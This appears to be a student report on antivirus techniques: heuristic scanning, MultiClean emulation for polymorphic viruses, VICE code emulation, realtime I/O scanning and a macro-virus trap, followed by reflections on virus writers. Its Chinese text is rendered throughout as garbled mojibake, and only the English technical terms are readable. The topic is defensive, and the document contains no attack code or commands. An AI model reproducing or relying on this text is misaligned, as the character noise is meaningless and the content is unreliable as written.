¤H¤u´¼¼z³´¨À¬O¤@ºØºÊ´ú¹q¸£¦æ¬°ªº±`¾n¦¡±½´y§Þ³N¡C¥¦±N©Ò¦³¯f¬r©Ò²£¥Íªº¦æ¬°Âk¯Ç°_¨Ó¡M¤@¥¹µo²{°O¾ÐÅ骺µ{¦¡¦³¥ô¦ó¤£·íªº¦æ¬°¡M¨t²Î´N·|¦³©Òĵı¡M¨Ã§iª¾¨Ï¥ÎªÌ¡C
³oºØ§Þ³NªºÀuÂI¬O°õ¦æ³t«×§Ö¡B¤âÄò²«K¡M¥B¥i¥H°»´ú¨ì¦U¦¡¯f¬r¡F¨ä¯ÊÂI´N¬Oµ{¦¡³]pÃø¡M¥B¤£®e©ö¦Ò¼{¶g¥þ¡C¤£¹L¦b³o¤dÅܸU¤Æªº¯f¬r¥@¬É¤¤¡MRule-based±½´y§Þ³N¬O¤@Ӧܤ֨㦳«O¥þ¥\¯àªº·sÆ[ÂI¡C
D. MultiClean
MultiClean§Þ³N±Mªù¥Î¨Ó¹ï¥IÅÜÅé¯f¬r(Polymorphic /Mutation Virus)¡CÅÜÅé¯f¬r¦b¨C¦¸¶Ç¬V®É¡M³£¥H¤£¦PªºÀH¾÷¶Ã¼Æ¥[±K©ó¨CÓ¤¤¬rªºÀɮפ¤¡M¶Ç²Î¯f¬r½X¤ñ¹ïªº¤è¦¡®Ú¥»´NµLªk§ä¨ì³oºØ¯f¬r¡CMultiClean§Þ³N«h¬O¦¨¥\¦a¼ÒÀÀCPU°õ¦æ¡M¦b¨ä³]pªºDOSµêÀÀ¾÷¾¹(Virtual Machine)¤U°²°õ¦æ¯f¬rªºÅÜÅé¤ÞÀº¸Ñ½Xµ{¦¡¡M¦w¥þ¨Ã½T¹ê¦a±N¦h«¬Åé¯f¬r¸Ñ¶}¡M¨Ï¨äÅãÅS쥻ªº±¥Ø¡M¦A±N¤§²M°£¡C ³o¬O¥Ø«e°ß¤@¥i¥H¦¨¥\¦a®Ú°£Åܺدf¬rªº§Þ³N¡C
E. VICE(Virus Instruction Code Emulation) - ¥ýª¾±½´yªk
VICE¥ýª¾±½´y§Þ³N¬OÄ~MultiClean«áªº¤@¤j§Þ³N¤W¬ð¯}¡C¬JµMMultiClean¥i¥H«Ø¥ß¤@Ó«OÅ@¼Ò¦¡¤UªºDOSµêÀÀ¾÷¾¹¡M¼ÒÀÀCPU°Ê§@¨Ã°²°õ¦æµ{¦¡¥H¸Ñ¶}ÅÜÅé¤ÞÀº¯f¬r¡M¨º»òÀ³¥ÎÃþ¦üªº§Þ³N¤]¥i¥H¥Î¨Ó¤ÀªR¤@¯ëµ{¦¡Àˬd¥iºÃªº¯f¬r½X¡C¦]¦¹VICE±N¤uµ{®v¥Î¨Ó§PÂ_µ{¦¡¬O§_¦³¯f¬r½X¦s¦bªº¤èªk¡M¤ÀªRÂk¯Ç¦¨±M®a¨t²Îª¾ÃÑ®w¡M¦A§Q¥Î³nÅé¤uµ{ªº¼ÒÀÀ§Þ³N(Software Emulation)°²°õ¦æ·sªº¯f¬r¡M«h¥i¤ÀªR¥X·s¯f¬r½X¹ï¥I¥H«áªº¯f¬r¡C
©Ò¥H¡M¤@¥¹VICE§Þ³N¹B¥Î¦b¤@Ó¸û½ÆÂøªºµ{¦¡®É¡M¦b°»¬r¤u§@¤W©Ò¯Ó¶Oªº®É¶¡´N·|Åܱo«Üªø¡C¦]¦¹¡M³q±`VICE¤£·|¦¨¬°¤@Ó¨¾¬r³nÅ骺°ß¤@§Þ³N¡M¦Ó·|°w¹ï²{¦¨ªº¨¾¬r§Þ³N§@¸É±jªº°Ê§@¡C
F. §Y®ÉªºI/O±½´y(Realtime I/O Scan)
Realtime I/O Scanªº¥Øªº¦b©ó§Y®É¦a¹ï¸ê®Æªº¿é¤J/¿é¥X°Ê§@°µ¯f¬r½X¤ñ¹ïªº°Ê§@¡M§Æ±æ¯à°÷¦b¯f¬r©|¥¼³Q°õ¦æ¤§«e¡M´N¯à°÷¨¾°ô¤U¨Ó¡C²z½×¤W¡M³o¼Ëªº§Y®É±½´yµ{¦¡ÁöµM·|¼vÅT¨ì¾ãÅ骺¸ê®Æ¶Ç¿é³t²v¡M¦ý¬O¨Ï¥ÎRealtime I/O scan¡MÀɮ׶ǰe¶i¨Ó¤§«á¡M´Nµ¥©ó±½¹L¤F¤@¦¸¬r¡M¾ãÅé¨Ó»¡¡M¬O¨S¦³¤°»ò®t§Oªº¡C
G. ¤å¥ó¥¨¶°¯f¬r³´¨À(Macrotrap)
¤å¥ó¥¨¶°¯f¬r³´¨À¬Oµ²¦X¤F¯f¬r½X¤ñ¹ï»P¤H¤u´¼¼z³´¨Àªº§Þ³N¡M¨Ì¯f¬r¦æ¬°¼Ò¦¡(Rule base) ¨Ó°»´ú¤wª¾¤Î¥¼ª¾ªº¥¨¶°¯f¬r¡C ¨ä¤¤¡M°t¦XOLE2§Þ³N¡M¥i±N¥¨¶°»P¤å¥ó¤À¶}¡M¨Ï±o±½´y³t«×Åܱo¸û§Ö¡M¦Ó¥B§ó¦³®Ä¦a±N¥¨¶°¯f¬r²M°£¡C¥¨¶°¯f¬r¨¾ªv§Þ³N¥i¦b§Y®É°»´ú¥X¨Ï¥ÎªÌ©Ò¶}±Òªº¤å¥ó¬O§_¦³¯f¬r¦s¦b¡M¦P®É¨Ì¸Ó¤å¥óªºªþÀɦW¿ë§O¨ÃÁÙì¤å¥óÀɤ§ì©l®æ¦¡¡C
¦]¬°¹q¸£§Þ³Nªº¤é·s¤ë²§¡M¹q¸£¯f¬rªººØÃþ¥H¤Î·P¬V³~®|¤]ÀH¤§§ó¥[¦h¤¸¡M¥H«e¥i¯à¥H¬°¥un¬O¤å¦rÀÉ´N¤£·|¦³¤¤¬rªº¥i¯à¡M¦ý¬OÀHµÛ¥¨¶°ªºÀ³¥Î¡M´N³s¤@¯ë¹q¸£¨Ï¥ÎªÌ±`¥Îªº¤å¦r³B²z³nÅé©Î¬O¸Õºâªí³nÅé¤]¦³³y¦¨¯f¬r·P¬Vªº¥i¯à¡C¦A¥[¤Wºô¸ôªº¼sªxÀ³¥Î¡MÀɮתº¬y³q§ó¥[ÀWÁc¡M°£¤F¶Ç²Îªº¯f¬r¤§¥~¡M²{¦b§ó¥X²{¤FÂǵÛJava Applet©ÎActiveXªºµ{¦¡¨Ó¶Ç¼½ªº·s«¬¹q¸£¯f¬r¡M¨Ï±o¹q¸£¨Ï¥ÎªÌ¨¾¤£³Ó¨¾¡C¦]¦¹¡M¨¾¬rªºÆ[©À¤]¬O²{¥N¹q¸£±Úªº¥²³Æª¾ÃÑ¡M¨Ã¥BÀH®Éª`·N³Ì·sªº¨¾¬r¸ê°T¡M¤~¯à«O»Ù¹q¸£ªº¦w¥þ©Ê¡C
³o¥÷³ø§iªº¥Øªº¬O·QÂǵۤF¸Ñ¯f¬r¡M§U©óÀò±o§óÂ×´Iªº¹q¸£ª¾ÃÑ¡M¨Ã¥B»P©Ò¾Ç¯à¦³©Ò¬Û¤¬«´¦X¤§³B¡C°£¤F¯f¬rªº¹B§@¤è¦¡¥O§Ú·P¨ì¦n©_¤§¥~¡M¤]¤Q¤À§Æ±æ¤F¸Ñ¼¶¼g¯f¬rµ{¦¡ªÌªº¤ßºA¡M¹ï¤@Óµ{¦¡³]pªÌ¦Ó¨¥¡Mµ{¦¡ªº§¹¦¨¤w¸g¬O¤@ºØ¦¨´N·P¡M¦]¦¹¥i¥H·Q¨£¨º¨Ç¥D°Ê´²¼½¯f¬rªº³]pªÌ¦³§ó¤jªº³¥¤ß¡C©Î³\¥L̬O¬°¤FÃÒ©ú¦Û¤v¦bµ{¦¡³]p¤Wªº¹ê¤O¡M¦ý«o©¿²¤¤F¤HÃþ¦b¸ê°Tµo¹Fªº¤µ¤Ñ¡M¹B¥Î¬ì§Þªº·N¸q¡C
°£¦¹¤§¥~¡M¤F¸Ñ¹q¸£¯f¬rªº¤u§@¡M¤]¿s¨£¨¾¬r¤u§@ªº¦h¼Ë¤Æ¡M¦b§Þ³N¤W¤]¦³ªø¨¬ªº¶i¨B¡M¤×¨ä¦b¯f¬r³]pªÌµS¤£ªÖ½}¤â¤§»Ú¡M¨¾¬r¤u¨ãªº¬ãµo¬Oȱo§ë¸êªº¬ã¨s¤u§@¡C§Æ±æ¤j®a³£¯à°÷«µø¸ê°T¦w¥þªº°ÝÃD¡MÅý¬ì§Þ±a»â§Ų́ì¤@Ó§ó¬ü¦nªº¥@¬É¡C